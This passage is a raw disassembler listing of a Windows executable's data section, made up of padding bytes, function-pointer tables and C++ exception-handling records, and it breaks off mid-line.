'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0 align 4 dd 3E3h dup(0) off_43E000 dd offset sub_4017C6 ; DATA XREF: sub_4036D0+3FEo off_43E004 dd offset dword_4367D0 ; DATA XREF: sub_403C70+2o off_43E008 dd offset off_402009 ; DATA XREF: sub_406BA0+2o sub_406C00o off_43E00C dd offset sub_4021F8 ; DATA XREF: ___:00407075o off_43E010 dd offset loc_402171 ; DATA XREF: sub_409AE0+4o ; sub_409B40+Bo ... off_43E014 dd offset loc_402027 ; DATA XREF: sub_40ADC0+2o ; sub_40AE10+1Co dd offset dword_4367D0 align 10h off_43E020 dd offset loc_401ACD ; DATA XREF: ___:0040B118o ; sub_40B170+1Eo flt_43E024 dd 1.0 ; DATA XREF: ___:0040B7C6r off_43E028 dd offset sub_401A3C ; DATA XREF: sub_40F600+157o ; sub_40FDA0+1Do dd offset sub_40212B dd 0 off_43E034 dd offset sub_401AB9 ; DATA XREF: sub_40F600+142o ; sub_40FDA0+23o off_43E038 dd offset loc_40115E ; DATA XREF: sub_411860+36o ; sub_411910+1Do dd offset loc_401FE6 dd 0 off_43E044 dd offset sub_4014BF ; DATA XREF: ___:0041318Do ; sub_413220+1Fo dd offset sub_401CF8 align 10h off_43E050 dd offset sub_4019BF ; DATA XREF: sub_416C00+6o ; sub_417DF0+8o dd offset sub_4020A9 dd 0 off_43E05C dd offset loc_401C99 ; DATA XREF: sub_416C60+6o ; sub_417E20+8o dd offset sub_401230 align 8 off_43E068 dd offset loc_40191A ; DATA XREF: sub_416CC0o sub_41FBD0+8o dd offset sub_401CDF dd 0 off_43E074 dd offset sub_40111D ; DATA XREF: sub_416D10o ; sub_4190B0+36o off_43E078 dd offset loc_4014A1 ; DATA XREF: sub_417BC0+68o off_43E07C dd offset sub_401064 ; DATA XREF: sub_417C60+8Bo off_43E080 dd offset sub_40138E ; DATA XREF: sub_417D30+74o off_43E084 dd offset loc_401B6D ; DATA XREF: sub_417E50+7Bo off_43E088 dd offset loc_40202C ; DATA XREF: sub_417F10+7Bo off_43E08C dd offset loc_401F1E ; DATA XREF: sub_417FD0+3Eo ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Fh, 40h, 0 off_43E094 dd offset loc_401FD7 ; DATA XREF: sub_418080+3Eo off_43E098 dd offset sub_401E4C ; DATA XREF: sub_418100+3Eo off_43E09C dd offset loc_40100A ; DATA XREF: sub_418180+10o off_43E0A0 dd offset loc_4010B4 ; DATA XREF: sub_4181B0+4Bo off_43E0A4 dd offset sub_401BA4 ; DATA XREF: sub_418230+10o off_43E0A8 dd offset sub_401712 ; DATA XREF: sub_418260+10o off_43E0AC dd offset sub_401613 ; DATA XREF: sub_418290+6Bo dbl_43E0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4198C0+22r dd 0 off_43E0BC dd offset sub_401AF5 ; DATA XREF: sub_41A010+Bo ; sub_41A110+6o off_43E0C0 dd offset sub_401E74 ; DATA XREF: sub_41AFE0+Do sub_41B040o off_43E0C4 dd offset sub_4013FC ; DATA XREF: ___:0041B3A2o ; ___:0041B48Do dd offset sub_40167C align 10h off_43E0D0 dd offset loc_4019E7 ; DATA XREF: sub_41D670+77o ; sub_41D760+1Do dd offset sub_401C80 dd 0 off_43E0DC dd offset sub_4011FE ; DATA XREF: sub_426450+32o dd offset sub_401A64 dd offset sub_401A41 dd 0 off_43E0EC dd offset loc_4016D1 ; DATA XREF: sub_4264C0+6Ao ; sub_426560+1Do dd offset sub_401A64 dd offset dword_4367D0 dd 0 off_43E0FC dd offset loc_401AAF ; DATA XREF: sub_4269A0+32o dd offset sub_401A64 dd offset sub_401366 dd 0 off_43E10C dd offset sub_40181B ; DATA XREF: sub_426EB0+32o dd offset sub_401A64 dd offset sub_401E92 dd 0 off_43E11C dd offset sub_40222A ; DATA XREF: sub_427590+32o dd offset sub_401A64 dd offset sub_401A05 dd 0 off_43E12C dd offset sub_401C2B ; DATA XREF: sub_427DC0+32o dd offset sub_4021A8 dd offset sub_4015AF dd 0 off_43E13C dd offset loc_402068 ; DATA XREF: sub_427E30+7Ao ; sub_427EF0+1Do dd offset sub_4021A8 dd offset dword_4367D0 dd 0 off_43E14C dd offset sub_4021B2 ; DATA XREF: sub_428160+4Bo ; sub_428250+10o dd offset sub_4021A8 dd offset sub_401D2A dd 0 off_43E15C dd offset loc_40112C ; DATA XREF: sub_4299C0+32o ; sub_429A60+9o dd offset sub_4021A8 dd offset sub_40137A dd 0 off_43E16C dd offset loc_401B04 ; DATA XREF: sub_429D00+32o dd offset sub_4021A8 dd offset sub_4010AF dd 0 off_43E17C dd offset sub_4017A8 ; DATA XREF: sub_42A090+32o dd offset sub_4021A8 dd offset sub_40188E dd 0 off_43E18C dd offset sub_4020D1 ; DATA XREF: sub_42B1D0+27o dword_43E190 dd 0 dd 8, 0 off_43E19C dd offset dword_4367D0 ; DATA XREF: sub_42B240+39o off_43E1A0 dd offset sub_401F41 ; DATA XREF: ___:0042B312o dd offset sub_4021A8 dd offset sub_40134D align 10h off_43E1B0 dd offset sub_401B22 ; DATA XREF: sub_42B480+32o dd offset sub_4021A8 dd offset sub_40152D align 10h dd offset loc_4015F0 dd offset sub_4021A8 dd offset sub_4019E2 align 10h dd offset dword_43E348 off_43E1D4 dd offset dword_436800+11h ; DATA XREF: ___:off_4438B0o ; ___:off_4438D0o ... dd 0FFFFFFFFh, 436BACh, 436BC0h, 4Dh dup(0) off_43E318 dd offset off_446CD0 ; DATA XREF: ___:0043E330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43E318 dd 0 db 0 ; DATA XREF: ___:0043E358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43E330h dword_43E348 dd 3 dup(0) dd offset off_446CD0 dd offset unk_43E338 dd 45h dup(0) dword_43E470 dd 19930520h, 5, 43E490h, 5 dup(0) dd 0FFFFFFFFh, 437B2Ch, 0 dd offset dword_436FD0+0B30h dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0) dword_43E4C0 dd 19930520h, 3Dh, 43E4E0h, 5 dup(0) dd 0FFFFFFFFh, 437B70h, 0 dd offset loc_437B7B dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h, 0Dh, 437C2Eh, 0Eh dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h, 11h, 437C66h, 12h dd 437C74h, 13h, 437C82h, 14h, 437C90h, 15h, 437C9Eh, 16h dd 437CACh, 17h, 437CBAh, 18h, 437CC8h, 19h, 437CD6h, 1Ah dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h, 1Dh, 437D0Eh, 1Eh dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h, 21h, 437D46h, 22h dd 437D54h, 23h, 437D62h, 24h, 437D70h, 25h, 437D7Eh, 26h dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h, 29h, 437DB6h, 2Ah dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h, 2Dh, 437DEEh, 2Eh dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h, 31h, 437E26h, 32h dd 437E34h, 33h, 437E42h, 34h, 437E50h, 35h, 437E5Eh, 36h dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h, 39h, 437E96h, 3Ah dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0) dword_43E700 dd 19930520h, 1, 43E720h, 5 dup(0) dd 0FFFFFFFFh, 437FA0h, 2 dup(0) dword_43E730 dd 19930520h, 2, 43E750h, 5 dup(0) dd 0FFFFFFFFh, 437FC0h, 0 dd offset loc_437FC8 dd 2 dup(0) dword_43E768 dd 19930520h, 2, 43E788h, 5 dup(0) dd 0FFFFFFFFh, 437FF0h, 0 dd offset loc_437FF8 align 10h dword_43E7A0 dd 19930520h, 1, 43E7C0h, 5 dup(0) dd 0FFFFFFFFh, 438020h, 2 dup(0) dword_43E7D0 dd 19930520h, 7, 43E7F0h, 5 dup(0) dd 0FFFFFFFFh, 438040h, 0 dd offset loc_438048 dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh dd 2 dup(0) dword_43E830 dd 19930520h, 7, 43E850h, 5 dup(0) dd 0FFFFFFFFh, 4380C0h, 0 dd offset loc_4380C8 dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh dd 2 dup(0) dword_43E890 dd 19930520h, 11h, 43E8B0h, 5 dup(0) dd 0FFFFFFFFh, 438140h, 0FFFFFFFFh, 438148h, 0FFFFFFFFh dd 438150h, 0FFFFFFFFh, 438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh dd 438168h, 0FFFFFFFFh, 438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh dd 438180h, 0FFFFFFFFh, 438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh dd 438198h, 0FFFFFFFFh, 4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h, 4 dup(0) dword_43E948 dd 19930520h, 0Bh, 43E968h, 5 dup(0) dd 0FFFFFFFFh, 438200h, 0 dd offset loc_438208 dd 0FFFFFFFFh, 438210h, 2, 438218h, 0FFFFFFFFh, 438220h dd 0FFFFFFFFh, 438228h, 0FFFFFFFFh, 438230h, 0FFFFFFFFh dd 438238h, 7, 438243h, 7, 43824Bh, 9, 438253h, 4 dup(0) dword_43E9D0 dd 19930520h, 31h, 43E9F0h, 5 dup(0) dd 0FFFFFFFFh, 438280h, 0 dd offset loc_43828B dd 0 dd offset loc_438296 dd 0FFFFFFFFh, 4382A1h, 0FFFFFFFFh, 4382ACh, 4, 4382B7h dd 0FFFFFFFFh, 4382C2h, 6, 4382CDh, 6, 4382D8h, 8, 4382E3h dd 0FFFFFFFFh, 4382EEh, 0Ah, 4382F9h, 0Ah, 438304h, 0Ah dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h, 0Ah, 438330h, 0FFFFFFFFh dd 43833Bh, 11h, 438346h, 11h, 438351h, 0FFFFFFFFh, 43835Ch dd 0FFFFFFFFh, 438367h, 15h, 438372h, 0FFFFFFFFh, 43837Dh dd 0FFFFFFFFh, 438388h, 18h, 438393h, 0FFFFFFFFh, 43839Eh dd 0FFFFFFFFh, 4383A9h, 0FFFFFFFFh, 4383B4h, 0FFFFFFFFh dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h, 1Dh, 4383E0h, 1Dh dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h, 22h, 43840Ch, 22h dd 438417h, 22h, 438422h, 22h, 43842Dh, 22h, 438438h, 22h dd 438443h, 22h, 43844Eh, 22h, 438459h, 22h, 438464h, 22h dd 43846Fh, 22h, 43847Ah, 22h, 438485h, 22h, 438490h, 0Ch dup(0) dword_43EBA8 dd 19930520h, 2, 43EBC8h, 5 dup(0) dd 0FFFFFFFFh, 438538h, 0 dd offset loc_438530 align 10h dword_43EBE0 dd 19930520h, 2, 43EC00h, 5 dup(0) dd 0FFFFFFFFh, 43857Bh, 0 dd offset loc_438570 dd 2 dup(0) dword_43EC18 dd 19930520h, 3, 43EC38h, 5 dup(0) dd 0FFFFFFFFh, 4385B0h, 0 dd offset loc_4385BB dd 0 dd offset loc_4385C6 dd 2 dup(0) dword_43EC58 dd 19930520h, 1, 43EC78h, 5 dup(0) dd 0FFFFFFFFh, 4385F0h, 2 dup(0) dword_43EC88 dd 19930520h, 1, 43ECA8h, 5 dup(0) dd 0FFFFFFFFh, 438610h, 2 dup(0) dword_43ECB8 dd 19930520h, 2, 43ECD8h, 5 dup(0) dd 0FFFFFFFFh, 438630h, 0 dd offset loc_438638 align 10h dword_43ECF0 dd 19930520h, 56h, 43ED10h, 5 dup(0) dd 0FFFFFFFFh, 438650h, 0 dd offset loc_43865B dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h, 0Dh, 4386DEh, 0Eh dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh, 11h, 43870Ah, 12h dd 438715h, 13h, 438720h, 14h, 43872Bh, 15h, 438736h, 16h dd 438741h, 17h, 43874Ch, 18h, 438757h, 19h, 438762h, 1Ah dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h, 1Dh, 43878Eh, 1Eh dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh, 1Eh, 4387BAh, 1Eh dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh, 1Eh, 4387E6h, 1Eh dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh, 1Eh, 438807h, 2Ah dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh, 2Dh, 438828h, 1Eh dd 438828h, 1Eh, 438833h, 30h, 43883Eh, 1Eh, 43883Eh, 1Eh dd 438849h, 33h, 438854h, 1Eh, 438854h, 1Eh, 43885Fh, 36h dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h, 39h, 438880h, 1Eh dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h, 1Eh, 438896h, 1Eh dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh, 1Eh, 4388B7h, 42h dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh, 45h, 4388D8h, 1Eh dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh, 1Eh, 4388EEh, 1Eh dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h, 1Eh, 43890Fh, 4Eh dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h, 51h, 438930h, 52h dd 43893Bh, 53h, 438946h, 54h, 438951h, 13h dup(0) dd offset off_4438B0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 436800h, 2 dup(0) dd offset off_4438D0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C2Ah, 2 dup(0) dd offset off_4438F8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C30h, 0 dword_43F068 dd 3, 43F048h, 43F028h, 43F008h, 2 dup(0)dword_43F080 dd 0 ; ___:0040A997o dd offset dword_436A64+1D2h dd 0 dd offset dword_43F068 dd 2 dup(0) dword_43F098 dd 19930520h, 1, 43F0B8h, 5 dup(0) dd 0FFFFFFFFh, 438A30h, 2 dup(0) dword_43F0C8 dd 19930520h, 1, 43F0E8h, 5 dup(0) dd 0FFFFFFFFh, 438A50h, 2 dup(0) dword_43F0F8 dd 19930520h, 3, 43F118h, 5 dup(0) dd 0FFFFFFFFh, 438A70h, 0 dd offset loc_438A87 dd 1, 438A8Fh, 2 dup(0) dword_43F138 dd 19930520h, 1, 43F158h, 5 dup(0) dd 0FFFFFFFFh, 438AB0h, 2 dup(0) dword_43F168 dd 19930520h, 2, 43F188h, 1, 43F198h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F1B0h, 4 dup(0) dd offset sub_40AE52 dd 2 dup(0) dword_43F1C8 dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F210h, 4 dup(0) dd offset sub_40AFD1 dd 2 dup(0) dword_43F228 dd 19930520h, 4, 43F248h, 5 dup(0) dd 0FFFFFFFFh, 438AF0h, 0 dd offset loc_438AFB dd 1, 438B06h, 2, 438B11h, 2 dup(0) dword_43F270 dd 19930520h, 4, 43F290h, 5 dup(0) dd 0FFFFFFFFh, 438B40h, 0 dd offset loc_438B4B dd 1, 438B56h, 2, 438B61h, 2 dup(0) dword_43F2B8 dd 19930520h, 3, 43F2D8h, 5 dup(0) dd 0FFFFFFFFh, 438B90h, 0FFFFFFFFh, 438B98h, 0FFFFFFFFh dd 438BA0h, 2 dup(0) dword_43F2F8 dd 19930520h, 3, 43F318h, 5 dup(0) dd 0FFFFFFFFh, 438BC0h, 0 dd offset loc_438BC8 dd 1, 438BD0h, 2 dup(0) dword_43F338 dd 19930520h, 1, 43F358h, 5 dup(0) dd 0FFFFFFFFh, 438BF0h, 2 dup(0) dword_43F368 dd 19930520h, 4, 43F388h, 5 dup(0) dd 0FFFFFFFFh, 438C10h, 0FFFFFFFFh, 438C18h, 0FFFFFFFFh dd 438C20h, 2, 438C28h, 2 dup(0) dword_43F3B0 dd 19930520h, 1, 43F3D0h, 5 dup(0) dd 0FFFFFFFFh, 438C50h, 2 dup(0) dword_43F3E0 dd 19930520h, 4, 43F400h, 5 dup(0) dd 0FFFFFFFFh, 438C70h, 0 dd offset loc_438C7B dd 0 dd offset loc_438C86 dd 2, 438C91h, 2 dup(0) dword_43F428 dd 19930520h, 1, 43F448h, 5 dup(0) dd 0FFFFFFFFh, 438CC0h, 2 dup(0) dword_43F458 dd 19930520h, 5, 43F478h, 5 dup(0) dd 0FFFFFFFFh, 438CE0h, 0 dd offset loc_438CEB dd 0 dd offset loc_438CF6 dd 0 dd offset loc_438D01 dd 0 dd offset loc_438D0C dd 2 dup(0) dword_43F4A8 dd 19930520h, 2, 43F4C8h, 5 dup(0) dd 0FFFFFFFFh, 438D40h, 0 dd offset loc_438D4B align 10h dword_43F4E0 dd 19930520h, 2, 43F500h, 5 dup(0) dd 0FFFFFFFFh, 438D70h, 0 dd offset loc_438D7B dd 2 dup(0) dword_43F518 dd 19930520h, 4, 43F538h, 5 dup(0) dd 0FFFFFFFFh, 438DA0h, 0FFFFFFFFh, 438DA8h, 0FFFFFFFFh dd 438DB0h, 0FFFFFFFFh, 438DB8h, 2 dup(0) dword_43F560 dd 19930520h, 8, 43F580h, 5 dup(0) dd 0FFFFFFFFh, 438DE0h, 0 dd offset loc_438DEB dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h dd 1, 438E2Dh, 4 dup(0) dword_43F5D0 dd 19930520h, 0Dh, 43F5F0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0FFFFFFFFh, 438E6Bh, 1, 438E76h dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh dd 438EE4h, 4 dup(0) dword_43F668 dd 19930520h, 6, 43F688h, 5 dup(0) dd 0FFFFFFFFh, 438F20h, 0 dd offset loc_438F28 dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0) dword_43F6C0 dd 19930520h, 6, 43F6E0h, 5 dup(0) dd 0FFFFFFFFh, 438F70h, 0 dd offset loc_438F78 dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0) dword_43F718 dd 19930520h, 3, 43F738h, 5 dup(0) dd 0FFFFFFFFh, 438FC0h, 0 dd offset loc_438FC8 dd 1, 438FD0h, 2 dup(0) dword_43F758 dd 19930520h, 1, 43F778h, 5 dup(0) dd 0FFFFFFFFh, 438FF0h, 2 dup(0) dword_43F788 dd 19930520h, 7, 43F7A8h, 5 dup(0) dd 0FFFFFFFFh, 439010h, 0 dd offset loc_439018 dd 0FFFFFFFFh, 439020h, 0FFFFFFFFh, 439028h, 3, 439030h dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0) dword_43F7E8 dd 19930520h, 24h, 43F808h, 5 dup(0) dd 0FFFFFFFFh, 439070h, 0 dd offset loc_439078 dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h, 0Dh, 439125h, 0Eh dd 439133h, 0Fh, 439141h, 10h, 43914Fh, 11h, 43915Dh, 11h dd 439165h, 11h, 43916Dh, 11h, 439175h, 11h, 43917Dh, 11h dd 439185h, 11h, 43918Dh, 11h, 439195h, 11h, 43919Dh, 11h dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h, 11h, 4391BDh, 11h dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h, 11h, 4391DDh, 11h dd 4391E5h, 8 dup(0) dword_43F948 dd 19930520h, 11h, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 439260h, 0 dd offset loc_439268 dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h, 0Dh, 439315h, 0Eh dd 439323h, 0Fh, 439331h, 4 dup(0) dword_43FA00 dd 19930520h, 38h, 43FA20h, 5 dup(0) dd 0FFFFFFFFh, 439390h, 0 dd offset loc_43939B dd 1, 4393A6h, 0 dd offset loc_4393B1 dd 0 dd offset loc_4393BC dd 0 dd offset loc_4393C7 dd 0 dd offset loc_4393D2 dd 0 dd offset loc_4393DD dd 0 dd offset loc_4393E8 dd 0 dd offset loc_4393F3 dd 9, 4393FEh, 0 dd offset loc_439409 dd 0 dd offset loc_439414 dd 0 dd offset loc_43941F dd 0 dd offset loc_43942A dd 0Eh, 439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch dd 0Eh, 43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh dd 0 dd offset loc_439499 dd 0 dd offset loc_4394A4 dd 0 dd offset loc_4394B2 dd 0 ; --------------------------------------------------------------------------- rcl byte ptr [ebx+eax*2+1A00h], 0 retf ; --------------------------------------------------------------------------- db 94h, 43h, 0 dd 1Bh, 4394D6h, 0 dd offset loc_4394E1 dd 1Dh, 4394ECh, 0 dd offset 